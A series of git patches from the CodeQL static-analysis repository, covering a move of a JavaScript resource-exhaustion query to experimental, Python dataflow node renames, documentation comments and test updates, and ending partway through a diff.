b/javascript/config/suites/javascript/security @@ -49,6 +49,7 @@ + semmlecode-javascript-queries/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.ql: /Security/CWE/CWE-640 + semmlecode-javascript-queries/Security/CWE-643/XpathInjection.ql: /Security/CWE/CWE-643 + semmlecode-javascript-queries/Security/CWE-730/RegExpInjection.ql: /Security/CWE/CWE-730 ++ semmlecode-javascript-queries/Security/CWE-730/ServerCrash.ql: /Security/CWE/CWE-730 + semmlecode-javascript-queries/Security/CWE-754/UnvalidatedDynamicMethodCall.ql: /Security/CWE/CWE-754 + semmlecode-javascript-queries/Security/CWE-770/MissingRateLimiting.ql: /Security/CWE/CWE-770 + semmlecode-javascript-queries/Security/CWE-776/XmlBomb.ql: /Security/CWE/CWE-776 From b90dd89746b6d8d3a01b22db76426dab4a95405c Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Thu, 21 Jan 2021 09:02:11 +0100 Subject: [PATCH 0749/1241] JS: move js/resource-exhaustion to experimental --- javascript/config/suites/javascript/security | 1 - .../Security/CWE-770/ResourceExhaustion.qhelp | 0 .../Security/CWE-770/ResourceExhaustion.ql | 2 +- .../examples/ResourceExhaustion_timeout.js | 0 .../ResourceExhaustion_timeout_fixed.js | 0 .../security/dataflow/ResourceExhaustion.qll | 0 .../ResourceExhaustionCustomizations.qll | 0 .../CWE-770/ResourceExhaustion.expected | 36 +++++++++---------- .../Security/CWE-770/ResourceExhaustion.qlref | 1 + .../ResourceExhaustion_timeout.js | 0 .../ResourceExhaustion_timeout_fixed.js | 0 .../Security/CWE-770/resource-exhaustion.js | 0 .../Security/CWE-770/ResourceExhaustion.qlref | 1 - 13 files changed, 20 insertions(+), 21 deletions(-) rename javascript/ql/src/{ => experimental}/Security/CWE-770/ResourceExhaustion.qhelp (100%) rename javascript/ql/src/{ => experimental}/Security/CWE-770/ResourceExhaustion.ql (86%) rename javascript/ql/src/{ => experimental}/Security/CWE-770/examples/ResourceExhaustion_timeout.js (100%) rename javascript/ql/src/{ => experimental}/Security/CWE-770/examples/ResourceExhaustion_timeout_fixed.js (100%) rename javascript/ql/src/{ => experimental}/semmle/javascript/security/dataflow/ResourceExhaustion.qll (100%) rename javascript/ql/src/{ => experimental}/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll (100%) rename javascript/ql/test/{query-tests => experimental}/Security/CWE-770/ResourceExhaustion.expected (63%) create mode 100644 javascript/ql/test/experimental/Security/CWE-770/ResourceExhaustion.qlref rename javascript/ql/test/{query-tests/Security/CWE-770/documentation_examples => experimental/Security/CWE-770/documentaion-examples}/ResourceExhaustion_timeout.js (100%) rename javascript/ql/test/{query-tests/Security/CWE-770/documentation_examples => experimental/Security/CWE-770/documentaion-examples}/ResourceExhaustion_timeout_fixed.js (100%) rename javascript/ql/test/{query-tests => experimental}/Security/CWE-770/resource-exhaustion.js (100%) delete mode 100644 javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.qlref diff --git a/javascript/config/suites/javascript/security b/javascript/config/suites/javascript/security index 9c9f2e007f8..3e87d292d7b 100644 --- a/javascript/config/suites/javascript/security +++ b/javascript/config/suites/javascript/security @@ -51,7 +51,6 @@ + semmlecode-javascript-queries/Security/CWE-730/RegExpInjection.ql: /Security/CWE/CWE-730 + semmlecode-javascript-queries/Security/CWE-754/UnvalidatedDynamicMethodCall.ql: /Security/CWE/CWE-754 + semmlecode-javascript-queries/Security/CWE-770/MissingRateLimiting.ql: /Security/CWE/CWE-770 -+ semmlecode-javascript-queries/Security/CWE-770/ResourceExhaustion.ql: /Security/CWE/CWE-770 + semmlecode-javascript-queries/Security/CWE-776/XmlBomb.ql: /Security/CWE/CWE-776 + semmlecode-javascript-queries/Security/CWE-798/HardcodedCredentials.ql: /Security/CWE/CWE-798 + semmlecode-javascript-queries/Security/CWE-807/ConditionalBypass.ql: /Security/CWE/CWE-807 diff --git a/javascript/ql/src/Security/CWE-770/ResourceExhaustion.qhelp b/javascript/ql/src/experimental/Security/CWE-770/ResourceExhaustion.qhelp similarity index 100% rename from javascript/ql/src/Security/CWE-770/ResourceExhaustion.qhelp rename to javascript/ql/src/experimental/Security/CWE-770/ResourceExhaustion.qhelp diff --git a/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql b/javascript/ql/src/experimental/Security/CWE-770/ResourceExhaustion.ql similarity index 86% rename from javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql rename to javascript/ql/src/experimental/Security/CWE-770/ResourceExhaustion.ql index adb8663085e..473522f6a86 100644 --- a/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql +++ b/javascript/ql/src/experimental/Security/CWE-770/ResourceExhaustion.ql @@ -12,7 +12,7 @@ import javascript import DataFlow::PathGraph -import semmle.javascript.security.dataflow.ResourceExhaustion::ResourceExhaustion +import experimental.semmle.javascript.security.dataflow.ResourceExhaustion::ResourceExhaustion from Configuration dataflow, DataFlow::PathNode source, DataFlow::PathNode sink where dataflow.hasFlowPath(source, sink) diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout.js b/javascript/ql/src/experimental/Security/CWE-770/examples/ResourceExhaustion_timeout.js similarity index 100% rename from javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout.js rename to javascript/ql/src/experimental/Security/CWE-770/examples/ResourceExhaustion_timeout.js diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout_fixed.js b/javascript/ql/src/experimental/Security/CWE-770/examples/ResourceExhaustion_timeout_fixed.js similarity index 100% rename from javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout_fixed.js rename to javascript/ql/src/experimental/Security/CWE-770/examples/ResourceExhaustion_timeout_fixed.js diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustion.qll b/javascript/ql/src/experimental/semmle/javascript/security/dataflow/ResourceExhaustion.qll similarity index 100% rename from javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustion.qll rename to javascript/ql/src/experimental/semmle/javascript/security/dataflow/ResourceExhaustion.qll diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll b/javascript/ql/src/experimental/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll similarity index 100% rename from javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll rename to javascript/ql/src/experimental/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected b/javascript/ql/test/experimental/Security/CWE-770/ResourceExhaustion.expected similarity index 63% rename from javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected rename to javascript/ql/test/experimental/Security/CWE-770/ResourceExhaustion.expected index e3bb6853d19..e1670319206 100644 --- a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected +++ b/javascript/ql/test/experimental/Security/CWE-770/ResourceExhaustion.expected @@ -1,13 +1,13 @@ nodes -| documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | -| documentation_examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | -| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | -| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:52 | url.par ... ).query | -| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:58 | url.par ... y.delay | -| documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | -| documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | -| documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | -| documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | +| documentaion-examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | +| documentaion-examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | +| documentaion-examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | +| documentaion-examples/ResourceExhaustion_timeout.js:5:23:5:52 | url.par ... ).query | +| documentaion-examples/ResourceExhaustion_timeout.js:5:23:5:58 | url.par ... y.delay | +| documentaion-examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | +| documentaion-examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | +| documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | +| documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | | resource-exhaustion.js:9:7:9:42 | s | | resource-exhaustion.js:9:11:9:34 | url.par ... , true) | | resource-exhaustion.js:9:11:9:40 | url.par ... ).query | @@ -30,14 +30,14 @@ nodes | resource-exhaustion.js:88:18:88:18 | s | | resource-exhaustion.js:88:18:88:18 | s | edges -| documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | -| documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | -| documentation_examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | -| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:52 | url.par ... ).query | -| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:52 | url.par ... ).query | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:58 | url.par ... y.delay | -| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:58 | url.par ... y.delay | documentation_examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | -| documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | -| documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | +| documentaion-examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | +| documentaion-examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | +| documentaion-examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | documentaion-examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | +| documentaion-examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | documentaion-examples/ResourceExhaustion_timeout.js:5:23:5:52 | url.par ... ).query | +| documentaion-examples/ResourceExhaustion_timeout.js:5:23:5:52 | url.par ... ).query | documentaion-examples/ResourceExhaustion_timeout.js:5:23:5:58 | url.par ... y.delay | +| documentaion-examples/ResourceExhaustion_timeout.js:5:23:5:58 | url.par ... y.delay | documentaion-examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | +| documentaion-examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentaion-examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | +| documentaion-examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentaion-examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | | resource-exhaustion.js:9:7:9:42 | s | resource-exhaustion.js:10:20:10:20 | s | | resource-exhaustion.js:9:7:9:42 | s | resource-exhaustion.js:39:12:39:12 | s | | resource-exhaustion.js:9:7:9:42 | s | resource-exhaustion.js:39:12:39:12 | s | @@ -59,7 +59,7 @@ edges | resource-exhaustion.js:10:11:10:21 | parseInt(s) | resource-exhaustion.js:10:7:10:21 | n | | resource-exhaustion.js:10:20:10:20 | s | resource-exhaustion.js:10:11:10:21 | parseInt(s) | #select -| documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | This creates a timer with a user-controlled duration from $@. | documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | here | +| documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | documentaion-examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | This creates a timer with a user-controlled duration from $@. | documentaion-examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | here | | resource-exhaustion.js:38:12:38:12 | n | resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:38:12:38:12 | n | This creates a string with a user-controlled length from $@. | resource-exhaustion.js:9:21:9:27 | req.url | here | | resource-exhaustion.js:39:12:39:12 | s | resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:39:12:39:12 | s | This creates a string with a user-controlled length from $@. | resource-exhaustion.js:9:21:9:27 | req.url | here | | resource-exhaustion.js:85:17:85:17 | n | resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:85:17:85:17 | n | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:9:21:9:27 | req.url | here | diff --git a/javascript/ql/test/experimental/Security/CWE-770/ResourceExhaustion.qlref b/javascript/ql/test/experimental/Security/CWE-770/ResourceExhaustion.qlref new file mode 100644 index 00000000000..13cbfcb0db6 --- /dev/null +++ b/javascript/ql/test/experimental/Security/CWE-770/ResourceExhaustion.qlref @@ -0,0 +1 @@ +experimental/Security/CWE-770/ResourceExhaustion.ql diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout.js b/javascript/ql/test/experimental/Security/CWE-770/documentaion-examples/ResourceExhaustion_timeout.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout.js rename to javascript/ql/test/experimental/Security/CWE-770/documentaion-examples/ResourceExhaustion_timeout.js diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout_fixed.js b/javascript/ql/test/experimental/Security/CWE-770/documentaion-examples/ResourceExhaustion_timeout_fixed.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout_fixed.js rename to javascript/ql/test/experimental/Security/CWE-770/documentaion-examples/ResourceExhaustion_timeout_fixed.js diff --git a/javascript/ql/test/query-tests/Security/CWE-770/resource-exhaustion.js b/javascript/ql/test/experimental/Security/CWE-770/resource-exhaustion.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-770/resource-exhaustion.js rename to javascript/ql/test/experimental/Security/CWE-770/resource-exhaustion.js diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.qlref b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.qlref deleted file mode 100644 index 38e612d406f..00000000000 --- a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.qlref +++ /dev/null @@ -1 +0,0 @@ -Security/CWE-770/ResourceExhaustion.ql From 19918e2e57c3a90b6f44ec8ccda4cae1e0da4fdd Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Thu, 21 Jan 2021 10:43:15 +0100 Subject: [PATCH 0750/1241] Python: Have `Node`-postfix consistently --- .../dataflow/new/internal/DataFlowPrivate.qll | 20 +++++++++---------- .../dataflow/new/internal/DataFlowPublic.qll | 18 ++++++++--------- 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index c74ecc09f3f..e1fdd785762 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -132,7 +132,7 @@ module EssaFlow { // nodeTo = `TIterableSequence([a, b])` exists(UnpackingAssignmentDirectTarget target | nodeFrom.asExpr() = target.getValue() and - nodeTo = TIterableSequence(target) + nodeTo = TIterableSequenceNode(target) ) or // With definition @@ -435,7 +435,7 @@ module ArgumentPassing { // argument unpacked from dict exists(string name | call_unpacks(call, mapping, callable, name, paramN) and - result = TKwUnpacked(call, callable, name) + result = TKwUnpackedNode(call, callable, name) ) ) } @@ -1186,7 +1186,7 @@ module UnpackingAssignment { /** Step 2 */ predicate unpackingAssignmentFlowStep(Node nodeFrom, Node nodeTo) { exists(UnpackingAssignmentSequenceTarget target | - nodeFrom = TIterableSequence(target) and + nodeFrom = TIterableSequenceNode(target) and nodeTo.asCfgNode() = target ) } @@ -1194,8 +1194,8 @@ module UnpackingAssignment { /** Step 3 */ predicate unpackingAssignmentConvertingReadStep(Node nodeFrom, Content c, Node nodeTo) { exists(UnpackingAssignmentSequenceTarget target | - nodeFrom = TIterableSequence(target) and - nodeTo = TIterableElement(target) and + nodeFrom = TIterableSequenceNode(target) and + nodeTo = TIterableElementNode(target) and ( c instanceof ListElementContent or @@ -1215,7 +1215,7 @@ module UnpackingAssignment { /** Step 4 */ predicate unpackingAssignmentConvertingStoreStep(Node nodeFrom, Content c, Node nodeTo) { exists(UnpackingAssignmentSequenceTarget target | - nodeFrom = TIterableElement(target) and + nodeFrom = TIterableElementNode(target) and nodeTo.asCfgNode() = target and ( target instanceof ListNode and @@ -1249,13 +1249,13 @@ module UnpackingAssignment { if element instanceof SequenceNode then // Step 5b - nodeTo = TIterableSequence(element) and + nodeTo = TIterableSequenceNode(element) and precise = true else if element.getNode() instanceof Starred then // Step 5c - nodeTo = TIterableElement(element) and + nodeTo = TIterableElementNode(element) and precise = false else ( // Step 5a @@ -1269,7 +1269,7 @@ module UnpackingAssignment { /** Step 6 */ predicate unpackingAssignmentStarredElementStoreStep(Node nodeFrom, Content c, Node nodeTo) { exists(ControlFlowNode starred | starred.getNode() instanceof Starred | - nodeFrom = TIterableElement(starred) and + nodeFrom = TIterableElementNode(starred) and nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = starred and c instanceof ListElementContent ) @@ -1378,7 +1378,7 @@ predicate attributeReadStep(CfgNode nodeFrom, AttributeContent c, CfgNode nodeTo predicate kwUnpackReadStep(CfgNode nodeFrom, DictionaryElementContent c, Node nodeTo) { exists(CallNode call, CallableValue callable, string name | nodeFrom.asCfgNode() = call.getNode().getKwargs().getAFlowNode() and - nodeTo = TKwUnpacked(call, callable, name) and + nodeTo = TKwUnpackedNode(call, callable, name) and name = c.getKey() ) } diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index ad7112f4a7d..945c85b3170 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -58,18 +58,18 @@ newtype TNode = * That is, `call` contains argument `**{"foo": bar}` which is passed * to parameter `foo` of `callable`. */ - TKwUnpacked(CallNode call, CallableValue callable, string name) { + TKwUnpackedNode(CallNode call, CallableValue callable, string name) { call_unpacks(call, _, callable, name, _) } or /** * A synthetic node representing that an iterable sequence flows to consumer. */ - TIterableSequence(UnpackingAssignmentSequenceTarget consumer) or + TIterableSequenceNode(UnpackingAssignmentSequenceTarget consumer) or /** * A synthetic node representing that there may be an iterable element * for `consumer` to consume. */ - TIterableElement(UnpackingAssignmentTarget consumer) + TIterableElementNode(UnpackingAssignmentTarget consumer) /** Helper for `Node::getEnclosingCallable`. */ private DataFlowCallable getCallableScope(Scope s) { @@ -331,11 +331,11 @@ class KwOverflowNode extends Node, TKwOverflowNode { * The node representing the synthetic argument of a call that is unpacked from a dictionary * argument. */ -class KwUnpacked extends Node, TKwUnpacked { +class KwUnpackedNode extends Node, TKwUnpackedNode { CallNode call; string name; - KwUnpacked() { this = TKwUnpacked(call, _, name) } + KwUnpackedNode() { this = TKwUnpackedNode(call, _, name) } override string toString() { result = "KwUnpacked " + name } @@ -356,10 +356,10 @@ class KwUnpacked extends Node, TKwUnpacked { * read step then targets TIterableSequence, and the conversion can happen via a read * step to TIterableElement followed by a store step to the target. */ -class IterableSequence extends Node, TIterableSequence { +class IterableSequenceNode extends Node, TIterableSequenceNode { SequenceNode consumer; - IterableSequence() { this = TIterableSequence(consumer) } + IterableSequenceNode() { this = TIterableSequenceNode(consumer) } override string toString() { result = "IterableSequence" } @@ -375,10 +375,10 @@ class IterableSequence extends Node, TIterableSequence { * for instance from a `ListElement` to a `TupleElement`. This would happen via a * read step from the list to IterableElement followed by a store step to the tuple. */ -class IterableElement extends Node, TIterableElement { +class IterableElementNode extends Node, TIterableElementNode { ControlFlowNode consumer; - IterableElement() { this = TIterableElement(consumer) } + IterableElementNode() { this = TIterableElementNode(consumer) } override string toString() { result = "IterableElement" } From bc1b50788a8343240c4aa996ed68e8e947206bd1 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Thu, 21 Jan 2021 10:44:58 +0100 Subject: [PATCH 0751/1241] Python: Small refactor --- .../python/dataflow/new/internal/DataFlowPublic.qll | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index 945c85b3170..302ff8d79fe 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -357,15 +357,13 @@ class KwUnpackedNode extends Node, TKwUnpackedNode { * step to TIterableElement followed by a store step to the target. */ class IterableSequenceNode extends Node, TIterableSequenceNode { - SequenceNode consumer; + CfgNode consumer; - IterableSequenceNode() { this = TIterableSequenceNode(consumer) } + IterableSequenceNode() { this = TIterableSequenceNode(consumer.getNode()) } override string toString() { result = "IterableSequence" } - override DataFlowCallable getEnclosingCallable() { - result = any(CfgNode node | node = TCfgNode(consumer)).getEnclosingCallable() - } + override DataFlowCallable getEnclosingCallable() { result = consumer.getEnclosingCallable() } override Location getLocation() { result = consumer.getLocation() } } From 88db8f562d7ca553ecb77efdbc575d68729554e3 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Thu, 21 Jan 2021 10:55:59 +0100 Subject: [PATCH 0752/1241] Python: Elaborate comments for steps --- .../dataflow/new/internal/DataFlowPrivate.qll | 36 +++++++++++++++---- 1 file changed, 30 insertions(+), 6 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index e1fdd785762..1715791337e 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1107,7 +1107,6 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * * 6. [Store] Content is stored from `TIterableElement(v)` to the essa variable for `v`, with * content type `ListElementContent`. - * (We will see this in step 7) * * 7. [Flow, Read, Store] Steps 2 through 7 are repeated for all recursive elements which are sequences. * @@ -1183,7 +1182,10 @@ module UnpackingAssignment { ControlFlowNode getAnElement() { result = this.getElement(_) } } - /** Step 2 */ + /** + * Step 2 + * Data flows from `TIterableSequence(sequence)` to `sequence` + */ predicate unpackingAssignmentFlowStep(Node nodeFrom, Node nodeTo) { exists(UnpackingAssignmentSequenceTarget target | nodeFrom = TIterableSequenceNode(target) and @@ -1191,7 +1193,12 @@ module UnpackingAssignment { ) } - /** Step 3 */ + /** + * Step 3 + * Data flows from `TIterableSequence(sequence)` into `TIterableElement(sequence)`. + * If `sequence` is of type tuple, we will not read tuple content as that would allow + * cross talk. + */ predicate unpackingAssignmentConvertingReadStep(Node nodeFrom, Content c, Node nodeTo) { exists(UnpackingAssignmentSequenceTarget target | nodeFrom = TIterableSequenceNode(target) and @@ -1212,7 +1219,11 @@ module UnpackingAssignment { ) } - /** Step 4 */ + /** + * Step 4 + * Data flows from `TIterableElement(sequence)` to `sequence`. + * The content type is chosen according to the type of sequence. + */ predicate unpackingAssignmentConvertingStoreStep(Node nodeFrom, Content c, Node nodeTo) { exists(UnpackingAssignmentSequenceTarget target | nodeFrom = TIterableElementNode(target) and @@ -1229,7 +1240,16 @@ module UnpackingAssignment { ) } - /** Step 5 */ + /** + * Step 5 + * For a sequence node inside an iterable unpacking, data flows from the sequence to its elements. There are + * three cases for what `toNode` should be: + * a) If the element is a plain variable, `toNode` is the corresponding essa node. + * + * b) If the element is itelf a sequence, with control-flow node `seq`, `toNode` is `TIterableSequence(seq)`. + * + * c) If the element is a starred variable, with control-flow node `v`, `toNode` is `TIterableElement(v)`. + */ predicate unpackingAssignmentElementReadStep(Node nodeFrom, Content c, Node nodeTo) { exists( UnpackingAssignmentSequenceTarget target, int index, ControlFlowNode element, boolean precise @@ -1266,7 +1286,11 @@ module UnpackingAssignment { ) } - /** Step 6 */ + /** + * Step 6 + * Data flows from `TIterableElement(v)` to the essa variable for `v`, with + * content type `ListElementContent`. + */ predicate unpackingAssignmentStarredElementStoreStep(Node nodeFrom, Content c, Node nodeTo) { exists(ControlFlowNode starred | starred.getNode() instanceof Starred | nodeFrom = TIterableElementNode(starred) and From dafec3ceaa24f80796812777aa7460dc56af2945 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 21 Jan 2021 11:06:46 +0100 Subject: [PATCH 0753/1241] rename to `AnalyzedCompoundNumericAssignExpr` --- .../javascript/dataflow/internal/BasicExprTypeInference.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll b/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll index 776eacb5804..4054a97466f 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll @@ -388,10 +388,10 @@ private class AnalyzedUpdateExpr extends DataFlow::AnalyzedValueNode { /** * Flow analysis for compound assignments. */ -private class AnalyzedCompoundAssignExpr extends DataFlow::AnalyzedValueNode { +private class AnalyzedCompoundNumericAssignExpr extends DataFlow::AnalyzedValueNode { override CompoundAssignExpr astNode; - AnalyzedCompoundAssignExpr() { astNode.isNumeric() } + AnalyzedCompoundNumericAssignExpr() { astNode.isNumeric() } override AbstractValue getALocalValue() { result = abstractValueOfType(TTNumber()) } } From a9a901d1e24491ffd6817925b93dd16fdf2f8d06 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 21 Jan 2021 11:08:39 +0100 Subject: [PATCH 0754/1241] add change note --- javascript/change-notes/2021-01-21-type-inference-compound.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 javascript/change-notes/2021-01-21-type-inference-compound.md diff --git a/javascript/change-notes/2021-01-21-type-inference-compound.md b/javascript/change-notes/2021-01-21-type-inference-compound.md new file mode 100644 index 00000000000..6969555f2d7 --- /dev/null +++ b/javascript/change-notes/2021-01-21-type-inference-compound.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Added support for modern compound assignments (`||=`, `&&=`, and `??=`) in the type inference. From 34280f90b0646ff778b2dd320af8c2ae41b75953 Mon Sep 17 00:00:00 2001 From: Asger F <asgerf@github.com> Date: Thu, 21 Jan 2021 10:51:46 +0000 Subject: [PATCH 0755/1241] Update QLDoc for getATemplateArgument Co-authored-by: Erik Krogh Kristensen <erik-krogh@github.com> --- .../ql/src/semmle/javascript/frameworks/Angular2.qll | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 3f33a07ce3d..3c27a37ec26 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -356,7 +356,13 @@ module Angular2 { /** Gets an HTML element that instantiates this component. */ HTML::Element getATemplateInstantiation() { result.getName() = getSelector() } - /** Gets an argument that flows into the `name` field of this component. */ + /** + * Gets an argument that flows into the `name` field of this component. + * + * For example, if the selector for this component is `"my-class"`, then this + * predicate can match an attribute like: `<my-class [foo]="1+2"/>`. + * The result of this predicate would be the `1+2` expression, and `name` would be `"foo"`. + */ DataFlow::Node getATemplateArgument(string name) { result = getAttributeValueAsNode(getATemplateInstantiation().getAttributeByName("[" + name + "]")) From 7c6704a63fe726e185fee63fb6bb11346451ab98 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 21 Jan 2021 11:07:57 +0000 Subject: [PATCH 0756/1241] JS: Shift line numbers in test case --- .../frameworks/Angular2/sink.component.ts | 1 + .../frameworks/Angular2/test.expected | 14 +++++++------- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts index 48698860f70..9c21f6348d7 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts +++ b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts @@ -15,6 +15,7 @@ export class SinkComponent { sink7: string; sink8: string; + constructor(private sanitizer: DomSanitizer) {} foo() { diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected index c63ccd8d624..f278eb464f7 